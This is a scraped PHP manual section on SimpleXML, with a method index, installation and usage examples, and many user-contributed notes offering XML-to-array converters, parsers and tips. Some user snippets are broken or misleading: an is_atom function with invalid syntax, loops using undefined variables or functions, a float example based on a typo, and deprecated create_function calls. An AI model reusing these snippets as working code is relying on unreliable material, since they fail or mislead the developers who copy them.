    • SimpleXMLElement::asXML — Return a well-formed XML string based on SimpleXML element
    • SimpleXMLElement::attributes — Identifies an element's attributes
    • SimpleXMLElement::children — Finds children of given node
    • SimpleXMLElement::__construct — Creates a new SimpleXMLElement object
    • SimpleXMLElement::count — Counts the children of an element
    • SimpleXMLElement::current — Returns the current element
    • SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document
    • SimpleXMLElement::getName — Gets the name of the XML element
    • SimpleXMLElement::getNamespaces — Returns namespaces used in document
    • SimpleXMLElement::getChildren — Returns the sub-elements of the current element
    • SimpleXMLElement::hasChildren — Checks whether the current element has sub elements
    • SimpleXMLElement::key — Return current key
    • SimpleXMLElement::next — Move to next element
    • SimpleXMLElement::registerXPathNamespace — Creates a prefix/ns context for the next XPath query
    • SimpleXMLElement::rewind — Rewind to the first element
    • SimpleXMLElement::saveXML — 别名 SimpleXMLElement::asXML
    • SimpleXMLElement::__toString — Returns the string content
    • SimpleXMLElement::valid — Check whether the current element is valid
    • SimpleXMLElement::xpath — Runs XPath query on XML data
  • SimpleXMLIterator — The SimpleXMLIterator class
  • SimpleXML 函数
    • simplexml_import_dom — Get a SimpleXMLElement object from a DOM node
    • simplexml_load_file — Interprets an XML file into an object
    • simplexml_load_string — Interprets a string of XML into an object

User Contributed Notes

reibeltel at gmail dot com 16-Feb-2022 05:53
I rewrite the function to convert xml object to array because my case is more simple:

function xmlObjToArr($obj) {

    $array = [];
    foreach($obj as $item){
        $row = [];
        foreach($item as $key => $val){
            $col = array(
                (string)$key => (string)$val
            );
            array_push($row,$col);

        }
        array_push($array,$row);
    }

    return $array;
}
Anonymous 25-Dec-2019 09:10
<?php
function array_to_xml( $array, $xml = null ) {
  if ( is_array( $array ) ) {
    foreach( $array as $key => $value ) {
      if ( is_int( $key ) ) {
        if ( $key == 0 ) {
          $node = $xml;
        } else {
          $parent = $xml->xpath( ".." )[0];
          $node = $parent->addChild( $xml->getName() );
        }
      } else {
        $node = $xml->addChild( $key );
      }
      array_to_xml( $value, $node );
    }
  } else {
    $xml[0] = $array;
  }
}

$xml = new SimpleXMLElement("<?xml version=\"1.0\" encoding=\"utf-8\"?><root></root>" );

array_to_xml( $array, $xml );
echo $xml->asXML();
?>
charles dot a dot dacosta at gmail dot com 15-Nov-2016 09:49
I had to do the following to catch the fact that my simplexml_load_string call was not working right (it was returning empty objects).

$statistik = simplexml_load_string($record,"SimpleXMLElement",LIBXML_NSCLEAN,$ns,TRUE);

    if (($statistik === FALSE) or ($statistik === NULL) or empty($statistik))
    {
        echo "$ctr) STATISTIK ERROR---\n";
        var_dump($statistik);
        echo "\n\n";
        echo "Failed loading XML\n";
        foreach(libxml_get_errors() as $error)
        {
            echo "\n", $error->message;
        }
        die();
    }

before I put the check for "empty()" I was not catching the error.
oleg at mastak dot fi 30-Mar-2016 09:57
Two lines xml2array:

<?php

$xml = simplexml_load_string($xmlstring);
$array = (array) $xml;

?>
Serge 26-Feb-2015 10:58
XML data values should not contain "&" and that need to be replaced by html-entity "&amp;"

You can use this code to replace lonely "&" to "&amp;":

<?php
$sText = preg_replace('#&(?![a-z]{1,6};)#i', '&amp;', $sText);
?>

This will replace just "&" into "&amp;" but dont touches other html-entities like "&nbsp;", "&lt;" etc and, of course, "&amp;".

P.S. In regexp max length is 6 becouse I found that is the maximum length of possible html entity using this code:
<?php
max(array_map('strlen', array_values(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5)))) - 2
?>
minus two is for first "&" and last ";" in an any html entity.
Tim Adam Perez 23-Jan-2014 08:22
XML to Array in a single line:
$array = (array) simplexml_load_string($xml);

Enjoy!
maikel at yuluma dot com 17-Oct-2013 09:02
In reply to  soloman at textgrid dot com,

2 line XML2Array:

$xml = simplexml_load_string($file);
$array = (array)$xml;
dkrnl at yandex dot ru 30-Sep-2013 02:57
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php

<?php

/**
 * Simple XML Reader
 *
 * @license Public Domain
 * @author Dmitry Pyatkov(aka dkrnl) <dkrnl@yandex.ru>
 * @url http://github.com/dkrnl/SimpleXMLReader
 */
class SimpleXMLReader extends XMLReader
{

    /**
     * Callbacks
     *
     * @var array
     */
    protected $callback = array();

    /**
     * Add node callback
     *
     * @param  string   $name
     * @param  callback $callback
     * @param  integer  $nodeType
     * @return SimpleXMLReader
     */
    public function registerCallback($name, $callback, $nodeType = XMLREADER::ELEMENT)
    {
        if (isset($this->callback[$nodeType][$name])) {
            throw new Exception("Already exists callback $name($nodeType).");
        }
        if (!is_callable($callback)) {
            throw new Exception("Already exists parser callback $name($nodeType).");
        }
        $this->callback[$nodeType][$name] = $callback;
        return $this;
    }

    /**
     * Remove node callback
     *
     * @param  string  $name
     * @param  integer $nodeType
     * @return SimpleXMLReader
     */
    public function unRegisterCallback($name, $nodeType = XMLREADER::ELEMENT)
    {
        if (!isset($this->callback[$nodeType][$name])) {
            throw new Exception("Unknow parser callback $name($nodeType).");
        }
        unset($this->callback[$nodeType][$name]);
        return $this;
    }

    /**
     * Run parser
     *
     * @return void
     */
    public function parse()
    {
        if (empty($this->callback)) {
            throw new Exception("Empty parser callback.");
        }
        $continue = true;
        while ($continue && $this->read()) {
            if (isset($this->callback[$this->nodeType][$this->name])) {
                $continue = call_user_func($this->callback[$this->nodeType][$this->name], $this);
            }
        }
    }

    /**
     * Run XPath query on current node
     *
     * @param  string $path
     * @param  string $version
     * @param  string $encoding
     * @return array(SimpleXMLElement)
     */
    public function expandXpath($path, $version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->xpath($path);
    }

    /**
     * Expand current node to string
     *
     * @param  string $version
     * @param  string $encoding
     * @return SimpleXMLElement
     */
    public function expandString($version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->asXML();
    }

    /**
     * Expand current node to SimpleXMLElement
     *
     * @param  string $version
     * @param  string $encoding
     * @param  string $className
     * @return SimpleXMLElement
     */
    public function expandSimpleXml($version = "1.0", $encoding = "UTF-8", $className = null)
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return simplexml_import_dom($node, $className);
    }

    /**
     * Expand current node to DomDocument
     *
     * @param  string $version
     * @param  string $encoding
     * @return DomDocument
     */
    public function expandDomDocument($version = "1.0", $encoding = "UTF-8")
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return $document;
    }

}
?>
whyme 28-Dec-2012 09:55
Simple means simple.  If you know the structure and just want the value of a tag:

<?php
$xml = simplexml_load_file($xmlfile);
print $xml->City->Street->Address->HouseColor;
?>

Warning, numbers can come out as strings, empty elements like <HouseColor></HouseColor> come out as array(0)
Laurent Vervisch 24-Jun-2012 10:57
Here is an example of an easy mapping between xml and classes defined by user.

<?php
class XmlClass extends SimpleXMLElement
{
    /**
     * Returns this object as an instance of the given class.
     */
    public function asInstanceOf($class_name)
    {
        // should check that class_name is valid

        return simplexml_import_dom(dom_import_simplexml($this), $class_name);
    }

    public function __call($name, array $arguments)
    {
        echo "magic __call called for method $name on instance of ".get_class()."\n";

        // class could be mapped according $this->getName()
        $class_name = 'Test';

        $instance = $this->asInstanceOf($class_name);
        return call_user_func_array(array($instance, $name), $arguments);
    }
}

class Test extends XmlClass
{
    public function setValue($string)
    {
        $this->{0} = $string;
    }
}

$xml = new XmlClass('<example><test/></example>');
$test = $xml->test->asInstanceOf('Test');
echo get_class($xml->test), "\n";
echo get_class($test), "\n";

$test->setValue('value set directly by instance of Test');
echo (string)$xml->test, "\n";
echo (string)$test, "\n";

$xml->test->setValue('value set by instance of XmlClass and magic __call');
echo (string)$xml->test, "\n";
echo (string)$test, "\n";
?>

XmlClass
Test
value set directly by instance of Test
value set directly by instance of Test
magic __call called for method setValue on instance of XmlClass
value set by instance of XmlClass and magic __call
value set by instance of XmlClass and magic __call
xaviered at gmail dot com 17-May-2012 07:00
Here is a recursive function that will convert a given SimpleXMLElement object into an array, preserving namespaces and attributes.

<?php
function xmlObjToArr($obj) {
        $namespace = $obj->getDocNamespaces(true);
        $namespace[NULL] = NULL;

        $children = array();
        $attributes = array();
        $name = strtolower((string)$obj->getName());

        $text = trim((string)$obj);
        if( strlen($text) <= 0 ) {
            $text = NULL;
        }

        // get info for all namespaces
        if(is_object($obj)) {
            foreach( $namespace as $ns=>$nsUrl ) {
                // atributes
                $objAttributes = $obj->attributes($ns, true);
                foreach( $objAttributes as $attributeName => $attributeValue ) {
                    $attribName = strtolower(trim((string)$attributeName));
                    $attribVal = trim((string)$attributeValue);
                    if (!empty($ns)) {
                        $attribName = $ns . ':' . $attribName;
                    }
                    $attributes[$attribName] = $attribVal;
                }

                // children
                $objChildren = $obj->children($ns, true);
                foreach( $objChildren as $childName=>$child ) {
                    $childName = strtolower((string)$childName);
                    if( !empty($ns) ) {
                        $childName = $ns.':'.$childName;
                    }
                    $children[$childName][] = xmlObjToArr($child);
                }
            }
        }

        return array(
            'name'=>$name,
            'text'=>$text,
            'attributes'=>$attributes,
            'children'=>$children
        );
    }
?>
thedoc8786 at gmail dot com 23-Mar-2012 07:42
FAIL! This function works better than the one I posted below:

<?php
    function toArray($xml) {
        $array = json_decode(json_encode($xml), TRUE);

        foreach ( array_slice($array, 0) as $key => $value ) {
            if ( empty($value) ) $array[$key] = NULL;
            elseif ( is_array($value) ) $array[$key] = toArray($value);
        }

        return $array;
    }
thedoc8786 at gmail dot com 23-Mar-2012 04:19
I know it is over-done, but the following is a super-short example of a XML to Array conversion function (recursive):

<?php
    function toArray(SimpleXMLElement $xml) {
        $array = (array)$xml;

        foreach ( array_slice($array, 0) as $key => $value ) {
            if ( $value instanceof SimpleXMLElement ) {
                $array[$key] = empty($value) ? NULL : toArray($value);
            }
        }
        return $array;
    }
xananax at yelostudio dot com 07-Sep-2011 06:25
None of the XML2Array functions that I found satisfied me completely; Their results did not always fit the project I was working on, and I found none that would account for repeating XML elements (such as
<fields><field/><field/><field/></fields>)
So I rolled out my own; hope it helps someone.
<?php
/**
 * Converts a simpleXML element into an array. Preserves attributes.<br/>
 * You can choose to get your elements either flattened, or stored in a custom
 * index that you define.<br/>
 * For example, for a given element
 * <code>
 * <field name="someName" type="someType"/>
 * </code>
 * <br>
 * if you choose to flatten attributes, you would get:
 * <code>
 * $array['field']['name'] = 'someName';
 * $array['field']['type'] = 'someType';
 * </code>
 * If you choose not to flatten, you get:
 * <code>
 * $array['field']['@attributes']['name'] = 'someName';
 * </code>
 * <br>__________________________________________________________<br>
 * Repeating fields are stored in indexed arrays. so for a markup such as:
 * <code>
 * <parent>
 *     <child>a</child>
 *     <child>b</child>
 *     <child>c</child>
 * ...
 * </code>
 * you array would be:
 * <code>
 * $array['parent']['child'][0] = 'a';
 * $array['parent']['child'][1] = 'b';
 * ...And so on.
 * </code>
 * @param simpleXMLElement    $xml            the XML to convert
 * @param boolean|string    $attributesKey    if you pass TRUE, all values will be
 *                                            stored under an '@attributes' index.
 *                                            Note that you can also pass a string
 *                                            to change the default index.<br/>
 *                                            defaults to null.
 * @param boolean|string    $childrenKey    if you pass TRUE, all values will be
 *                                            stored under an '@children' index.
 *                                            Note that you can also pass a string
 *                                            to change the default index.<br/>
 *                                            defaults to null.
 * @param boolean|string    $valueKey        if you pass TRUE, all values will be
 *                                            stored under an '@values' index. Note
 *                                            that you can also pass a string to
 *                                            change the default index.<br/>
 *                                            defaults to null.
 * @return array the resulting array.
 */
function simpleXMLToArray(SimpleXMLElement $xml,$attributesKey=null,$childrenKey=null,$valueKey=null){

    if($childrenKey && !is_string($childrenKey)){$childrenKey = '@children';}
    if($attributesKey && !is_string($attributesKey)){$attributesKey = '@attributes';}
    if($valueKey && !is_string($valueKey)){$valueKey = '@values';}

    $return = array();
    $name = $xml->getName();
    $_value = trim((string)$xml);
    if(!strlen($_value)){$_value = null;};

    if($_value!==null){
        if($valueKey){$return[$valueKey] = $_value;}
        else{$return = $_value;}
    }

    $children = array();
    $first = true;
    foreach($xml->children() as $elementName => $child){
        $value = simpleXMLToArray($child,$attributesKey, $childrenKey,$valueKey);
        if(isset($children[$elementName])){
            if(is_array($children[$elementName])){
                if($first){
                    $temp = $children[$elementName];
                    unset($children[$elementName]);
                    $children[$elementName][] = $temp;
                    $first=false;
                }
                $children[$elementName][] = $value;
            }else{
                $children[$elementName] = array($children[$elementName],$value);
            }
        }
        else{
            $children[$elementName] = $value;
        }
    }
    if($children){
        if($childrenKey){$return[$childrenKey] = $children;}
        else{$return = array_merge($return,$children);}
    }

    $attributes = array();
    foreach($xml->attributes() as $name=>$value){
        $attributes[$name] = trim($value);
    }
    if($attributes){
        if($attributesKey){$return[$attributesKey] = $attributes;}
        else{$return = array_merge($return, $attributes);}
    }

    return $return;
}
?>
soloman at textgrid dot com 09-Aug-2011 05:06
Three line xml2array:

<?php

$xml = simplexml_load_string($xmlstring);
$json = json_encode($xml);
$array = json_decode($json,TRUE);

?>

Ta da!
streaver91 at gmail dot com 04-May-2011 08:49
The BIGGEST differece between an XML and a PHP array is that in an XML file, the name of elements can be the same even if they are siblings, eg. "<pa><ch /><ch /><ch /></pa>", while in an PHP array, the key of which must be different.

I think the array structure developed by svdmeer can fit for XML, and fits well.

here is an example array converted from an xml file:
array(
"@tag"=>"name",
"@attr"=>array(
    "id"=>"1","class"=>"2")
"@text"=>"some text",
)

or if it has childrens, that can be:

array(
"@tag"=>"name",
"@attr"=>array(
    "id"=>"1","class"=>"2")
"@items"=>array(
    0=>array(
        "@tag"=>"name","@text"=>"some text"
    )
)

Also, I wrote a function that can change that array back to XML.

<?php
function array2XML($arr,$root) {
$xml = new SimpleXMLElement("<?xml version=\"1.0\" encoding=\"utf-8\" ?><{$root}></{$root}>");
$f = create_function('$f,$c,$a','
        foreach($a as $v) {
            if(isset($v["@text"])) {
                $ch = $c->addChild($v["@tag"],$v["@text"]);
            } else {
                $ch = $c->addChild($v["@tag"]);
                if(isset($v["@items"])) {
                    $f($f,$ch,$v["@items"]);
                }
            }
            if(isset($v["@attr"])) {
                foreach($v["@attr"] as $attr => $val) {
                    $ch->addAttribute($attr,$val);
                }
            }
        }');
$f($f,$xml,$arr);
return $xml->asXML();
}
?>
phil at dier dot us 19-Jan-2011 11:37
Here's a function I came up with to convert an associative array to XML.  Works for multidimensional arrays as well.

<?php
function assocArrayToXML($root_element_name,$ar)
{
    $xml = new SimpleXMLElement("<?xml version=\"1.0\"?><{$root_element_name}></{$root_element_name}>");
    $f = create_function('$f,$c,$a','
            foreach($a as $k=>$v) {
                if(is_array($v)) {
                    $ch=$c->addChild($k);
                    $f($f,$ch,$v);
                } else {
                    $c->addChild($k,$v);
                }
            }');
    $f($f,$xml,$ar);
    return $xml->asXML();
}
?>
philipp at strazny dot com 23-Nov-2010 05:33
Here's a quick way to dump the nodeValues from SimpleXML into an array using the path to each nodeValue as key. The paths are compatible with e.g. DOMXPath. I use this when I need to update values externally (i.e. in code that doesn't know about the underlying xml). Then I use DOMXPath to find the node containing the original value and update it.

<?php
function XMLToArrayFlat($xml, &$return, $path='', $root=false)
{
    $children = array();
    if ($xml instanceof SimpleXMLElement) {
        $children = $xml->children();
        if ($root){ // we're at root
            $path .= '/'.$xml->getName();
        }
    }
    if ( count($children) == 0 ){
        $return[$path] = (string)$xml;
        return;
    }
    $seen=array();
    foreach ($children as $child => $value) {
        $childname = ($child instanceof SimpleXMLElement)?$child->getName():$child;
        if ( !isset($seen[$childname])){
            $seen[$childname]=0;
        }
        $seen[$childname]++;
        XMLToArrayFlat($value, $return, $path.'/'.$child.'['.$seen[$childname].']');
    }
}
?>

Use like this:

<?php
$xml = simplexml_load_string(...some xml string...);
$xmlarray = array(); // this will hold the flattened data
XMLToArrayFlat($xml, $xmlarray, '', true);
?>

You can also pull multiple files in one array:

<?php
foreach($files as $file){
    $xml = simplexml_load_file($file);
    XMLToArrayFlat($xml, $xmlarray, $file.':', true);
}
?>
The respective filename/path is thus prefixed to each key.
kristof at viewranger dot com 18-Nov-2010 05:14
If you tried to load an XML file with this, but the CDATA parts were not loaded for some reason, is because you should do it this way:

$xml = simplexml_load_file($this->filename, 'SimpleXMLElement', LIBXML_NOCDATA);

This converts CDATA to String in the returning object.
sherwinterunez at yahoo dot com 01-Sep-2010 11:15
<?php

// Sherwin R. Terunez
//
// This is my own version of XML Object to Array
//

function amstore_xmlobj2array($obj, $level=0) {

    $items = array();

    if(!is_object($obj)) return $items;

    $child = (array)$obj;

    if(sizeof($child)>1) {
        foreach($child as $aa=>$bb) {
            if(is_array($bb)) {
                foreach($bb as $ee=>$ff) {
                    if(!is_object($ff)) {
                        $items[$aa][$ee] = $ff;
                    } else
                    if(get_class($ff)=='SimpleXMLElement') {
                        $items[$aa][$ee] = amstore_xmlobj2array($ff,$level+1);
                    }
                }
            } else
            if(!is_object($bb)) {
                $items[$aa] = $bb;
            } else
            if(get_class($bb)=='SimpleXMLElement') {
                $items[$aa] = amstore_xmlobj2array($bb,$level+1);
            }
        }
    } else
    if(sizeof($child)>0) {
        foreach($child as $aa=>$bb) {
            if(!is_array($bb)&&!is_object($bb)) {
                $items[$aa] = $bb;
            } else
            if(is_object($bb)) {
                $items[$aa] = amstore_xmlobj2array($bb,$level+1);
            } else {
                foreach($bb as $cc=>$dd) {
                    if(!is_object($dd)) {
                        $items[$obj->getName()][$cc] = $dd;
                    } else
                    if(get_class($dd)=='SimpleXMLElement') {
                        $items[$obj->getName()][$cc] = amstore_xmlobj2array($dd,$level+1);
                    }
                }
            }
        }
    }

    return $items;
}

?>
michael dot allen at emp dot shentel dot com 15-Apr-2010 11:06
Here is a very robust SimpleXML parser.  Can be used to load files, strings, or DOM into SimpleXML, or can be used to perform the reverse when handed SimpleXML.

<?php
/**
 * XMLParser Class File
 *
 * This class loads an XML document into a SimpleXMLElement that can
 * be processed by the calling application.  This accepts xml strings,
 * files, and DOM objects.  It can also perform the reverse, converting
 * an SimpleXMLElement back into a string, file, or DOM object.
 */
class XMLParser {
    /**
     * While parsing, parse the supplied XML document.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML document file.
     *
     * @param string $doc the xml document location path
     * @return object
     */
    public static function loadFile($doc) {
        if (file_exists($doc)) {
            return simplexml_load_file($doc);
        } else {
            throw new Exception ("Unable to load the xml file " .
                                 "using: \"$doc\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the supplied XML string.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML string.
     *
     * @param string $string the xml document string
     * @return object
     */
    public static function loadString($string) {
        if (isset($string)) {
            return simplexml_load_string($string);
        } else {
            throw new Exception ("Unable to load the xml string " .
                                 "using: \"$string\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the supplied XML DOM node.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML DOM node.
     *
     * @param object $dom the xml DOM node
     * @return object
     */
    public static function loadDOM($dom) {
        if (isset($dom)) {
            return simplexml_import_dom($dom);
        } else {
            throw new Exception ("Unable to load the xml DOM node " .
                                 "using: \"$dom\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the SimpleXMLElement.
     *
     * Sets up a XML file, string, or DOM object based on success of
     * parsing the XML DOM node.
     *
     * @param object $path the xml document location path
     * @param string $type the return type (string, file, dom)
     * @param object $simplexml the simple xml element
     * @return mixed
     */
    public static function loadSXML($simplexml, $type, $path) {
        if (isset($simplexml) && isset($type)) {
        switch ($type) {
            case 'string':
                return $simplexml->asXML();
            break;
            case 'file':
                if (isset($path)) {
                    return $simplexml->asXML($path);
                } else {
                    throw new Exception ("Unable to create the XML file. Path is missing or" .
                                         "is invalid: \"$path\"", E_USER_ERROR);
                }
            break;
            case 'dom':
                return dom_import_simplexml($simplexml);
            break;
        }
        } else {
            throw new Exception ("Unable to load the simple XML element " .
                                 "using: \"$simplexml\"", E_USER_ERROR);
        }
    }
}
?>
emmanuel 17-Feb-2010 10:21
dynamic sql in php using xml:

test.xml:
<?xml version="1.0" encoding="UTF-8"?>
<sql>
    <statement>
        SELECT * FROM USERS
        <call criteria="byId">WHERE id = %d</call>
        <call criteria="byUsername">WHERE username = "%s"</call>;
    </statement>
</sql>

index.php:
<?php
function callMe($param) {
    $search = array('byUsername' => 'dynsql');

    if (isset($search[$param[1]])) {
        return sprintf($param[2], $search[$param[1]]);
    }

    return "";
}

$xml = simplexml_load_file("test.xml");
$string = $xml->statement->asXML();
$string = preg_replace_callback('/<call criteria="(\w+)">(.*?)<\/call>/', 'callMe', $string);
$node = simplexml_load_string($string);
echo $node;
?>

obviously, this example can be improved [in your own code.]
mahmutta at gmail dot com 20-Jan-2010 12:58
while using simple xml and get double or float int value from xml object for using math operations (+ * - / ) some errors happens on the operation, this is because of simple xml returns everythings to objects.
exmple;

<?php

$name = "somestring";
$size = 11.45;
$xml = '
<xml>
 <name>somestring</name>
 <size>11.45</size>
</xml>';

$xmlget = simplexml_load_string($xml)

echo $xml->size*2;    // 20  its false
// ($xml->size is an object (int)11 and  (45) )

// this is true
echo $size*2;            // 22.90
echo (float)$size*2;   // 22.90
?>
antoine dot rabanes at gmail dot com 16-Oct-2009 07:22
if for some reasons you need the string value instead of the simpleXML Object you can cast the return value as a string.

exemple:

<?php
$all_api_call = simplexml_load_file($url);
$all_api = array();
$all_api = $all_api_call->result;
$list_all_api_name = array();
$i = 0;
foreach ($all_api->children() as $funcky_function)
{
    $string_tmp = (string )$funcky_function->function;
    $list_all_api_name[$i++] = $putain;
}
?>

...
walter 12-Jun-2009 07:58
Working fix for the infamous SimpleXML + memcache bug.

Improves code at http://tinyurl.com/bmoon-simplexml to actually work for arbitrary-depth structures.  (Because neither the function nor the json_decode(json_encode($obj)) hack listed there worked for me.)

There's probably some superfluous code in here that could be improved on -- but it works!

<?php
 # convert a structure that may include objects to a pure
 # array-based structure (that can be stored in memcache)
 #  ... includes support for simplexml!
 # (nb: may have problems with infinite recursive structs)
 function enforce_array($obj) {
  $array = (array)$obj;
  if(empty($array)) {
   $array = '';
  }
  else {
   foreach($array as $key=>$value) {
    if(!is_scalar($value)) {
     if(is_a($value,'SimpleXMLElement')) {
      $tmp = memcache_objects_to_array($value);
      if(!is_array($tmp)) {
       $tmp = ''.$value;
      }
      $array[$key] = $tmp;
     }
     else {
      $array[$key] = enforce_array($value);
     }
    }
    else {
     $array[$key] = $value;
    }
   }
  }
  return $array;
 }
?>
mail at kleineedv dot de 28-Apr-2009 12:37
I had a problem with simplexml reading nodes from an xml file. It always return an SimpleXML-Object but not the text inside the node.

Example:
<?xml version="1.0" encoding="UTF-8"?>
<Test>
    <Id>123</Id>
</Test>

Reading this xml into a variable called $xml and then doing the following
<?php
$myId = $xml->Id;
?>
Did not return 123 in $myId, but instead I got a SimpleXMLElement Object.

The solution is simple, when you know it. Use explicit string conversion.
<?php
$myId = (string)$xml->Id;
?>
oscargodson at gmail dot com 25-Jan-2009 03:05
To add to what others have said, you can't directly put a $_GET or $_POST value into a variable then into an attribute using SimpleXML. You must first convert it to an integer.

This will NOT work

<?php
      $page_id = $_GET['id'];
      echo $xml->page[$page_id]
?>

You will get something like:
Notice: Trying to get property of non-object in /Applications/MAMP/htdocs/mysite/index.php on line 10

However, this WILL work and is much simpler then using (string) or other methods.
<?php
   $page_id = intval($_GET['id']);
   echo $xml->page[$page_id]
?>
bxt at die-optimisten dot net 26-Nov-2008 07:47
Addition to QLeap's post:
SimpleXML will return a reference to an object containing the node value and you can't use references in session variables as there is no feasible way to restore a reference to another variable.

This won't work too:
$val=$this->xml->node->attributes()->name;
echo $array[$val]; // will cause a warning because of the wrong index type.

You have to convert/cast to a String first:
echo $array[(string)$val];

This will work as expected, because converting will call the __toString() method. Therefor echo works too:
echo $val; // will display the name
QLeap 18-Nov-2008 02:27
Storing SimpleXMLElement values in $_SESSION does not work. Saving the results as an object or individual elements of the object will result in the dreaded "Warning: session_start() [function.session-start]: Node no longer exists" error.

For example, this does not work:

    $xml  = new SimpleXMLElement($page);
    $country  = $xml->Response->Placemark->AddressDetails->Country->CountryNameCode;
    $_SESSION['country'] = $country;

This will work:

    $_SESSION['country'] = (string) $country;
gwhitescarver at yahoo dot com 11-Sep-2008 01:02
Moving some code from a PHP 5.2.6 / Windows environment to a 5.2.0 / Linux environment, I somehow lost access to a plain text node within a SimpleXML Object.  On a var_dump of $xml_node, a [0] element was shown as the string '12'.  However, $xml_node[0] was evaluating NULL in 5.2.0.  You can see below the code change I made, pulling my data out of the raw XML with a regular expression.  Hope this is useful to someone.

//In some versions of PHP it seems we cannot access the [0] element of a SimpleXML Object.  Doesn't work in 5.2.0:
//$count = $xml_node[0];
//grab the raw XML:
$count = ($xml_node->asXML());
//pull out the number between the closing and opening brace of the xml:
$count = preg_replace('/.*>(\d*)<.*/', '$1', $count);
charlie at blankcanvasstudios dot com 14-Aug-2008 11:21
Optimizing aalaap at gmail dot com's php

<?php
function is_rss($feedxml) {
    @$feed = simplexml_load_string($feedxml);

    return ($feed->channel->item)?true:false;
}

function is_atom($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);
    ($feed->entry):true:false;
}
?>
aalaap at gmail dot com 30-Jun-2008 06:58
Here are two quick and dirty functions that use SimpleXML to detect if a feed xml is RSS or ATOM:

<?php
function is_rss($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);

    if ($feed->channel->item) {
        return true;
    } else {
        return false;
    }
}

function is_atom($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);

    if ($feed->entry) {
        return true;
    } else {
        return false;
    }
}
?>

The functions take in the full text feed (retrieved via cURL, for example) and return a true or a false based on the result.


简介

SimpleXML 扩展提供了非常简单和易于使用的工具集，能将 XML 转换成带有标准属性选择器和数组迭代器的对象。

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-simplexml

User Contributed Notes

Rapitharian at hotmail dot com 24-Apr-2019 08:39
To install on CentOS and Redhat, run: sudo yum -y install php-xml
ottakar at freezed dot me 19-Dec-2017 09:31
This XML module is not provided on a default php (v7) install on Debian GNU/Linux stretch (9.3)
Add it with: sudo apt-get install php-xml
shashank at shankee dot com 31-May-2017 09:44
Installing simpleXml using composer:

"composer require ext-simplexml"

The extension is enabled by default in most distros. You can check the list of php modules using:

"php -m"
morel dot josh at hotmail dot com 17-Dec-2016 12:09
For Linux Ubuntu using PHP 7:
sudo apt-get install php7.0-xml


示例

Table of Contents

  • Basic SimpleXML usage
  • Dealing with XML errors

User Contributed Notes

Juan Herrera 19-Dec-2009 12:49
When using simplexml to access a element the returned object may be a SimpleXMLElement instead of a string.

Example:

<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
    <cmd>login</cmd>
    <login>Richard</login>
</document>
XML;

$xml = simplexml_load_string($string);
print_r($xml);
$login = $xml->login;
print_r($login);
$login = (string) $xml->login;
print_r($login);
?>

Expected result:
----------------
SimpleXMLElement Object
(
    [cmd] => login
    [login] => Richard
)
Richard
Richard

Actual result:
--------------
SimpleXMLElement Object
(
    [cmd] => login
    [login] => Richard
)
SimpleXMLElement Object
(
    [0] => Richard
)
Richard

But this is an intended behavior. See http://bugs.php.net/bug.php?id=29500
info at accountr dot eu 05-May-2009 08:35
Instead of using  <?php eval($code) ?>

you can use this method,

<?php

$node = "node";

$XML = simplexml_load_file($file);

$text = (string)$XML->nodes->{$node}; // works
// or
$text2 = (string)$XML->{$node}->child; // also works fine

?>

I think it is much more easier instead of eval().
Kari P. 15-Aug-2008 02:17
To take care of proper error checking, one must use try-catch blocks:

<?php
try {
  $sxe = new SimpleXMLElement($xmlstring);
} catch (Exception $e) {
  echo "bad xml";
}
?>

To get rid of warnings, use @ in front of new:

<?php
try {
  $sxe = @new SimpleXMLElement($xmlstring);
} catch (Exception $e) {
  echo "bad xml";
}
?>
mike at mike-griffiths dot co dot uk 18-Apr-2008 09:11
It is important that you select the correct method of loading the XML in depending on the format of your XML file.

If you use the wrong function to load it in you will get some strange errors.


Basic SimpleXML usage

Many examples in this reference require an XML string. Instead of repeating this string in every example, we put it into a file which we include in each example. This included file is shown in the following example section. Alternatively, you could create an XML document and read it with simplexml_load_file().

Example #1 Include file example.php with XML string

<?php
$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<movies>
<movie>
<title>PHP: Behind the Parser</title>
<characters>
<character>
<name>Ms. Coder</name>
<actor>Onlivia Actora</actor>
</character>
<character>
<name>Mr. Coder</name>
<actor>El Act&#211;r</actor>
</character>
</characters>
<plot>
So, this language. It's like, a programming language. Or is it a
scripting language? All is revealed in this thrilling horror spoof
of a documentary.
</plot>
<great-lines>
<line>PHP solves all my web problems</line>
</great-lines>
<rating type="thumbs">7</rating>
<rating type="stars">5</rating>
</movie>
</movies>
XML;
?>

The simplicity of SimpleXML appears most clearly when one extracts a string or number from a basic XML document.

Example #2 Getting <plot>

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

echo $movies->movie[0]->plot;
?>

以上示例会输出：

   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.

Accessing elements within an XML document that contain characters not permitted under PHP's naming convention (e.g. the hyphen) can be accomplished by encapsulating the element name within braces and the apostrophe.

Example #3 Getting <line>

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

echo $movies->movie->{'great-lines'}->line;
?>

以上示例会输出：

PHP solves all my web problems

Example #4 Accessing non-unique elements in SimpleXML

When multiple instances of an element exist as children of a single parent element, normal iteration techniques apply.

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

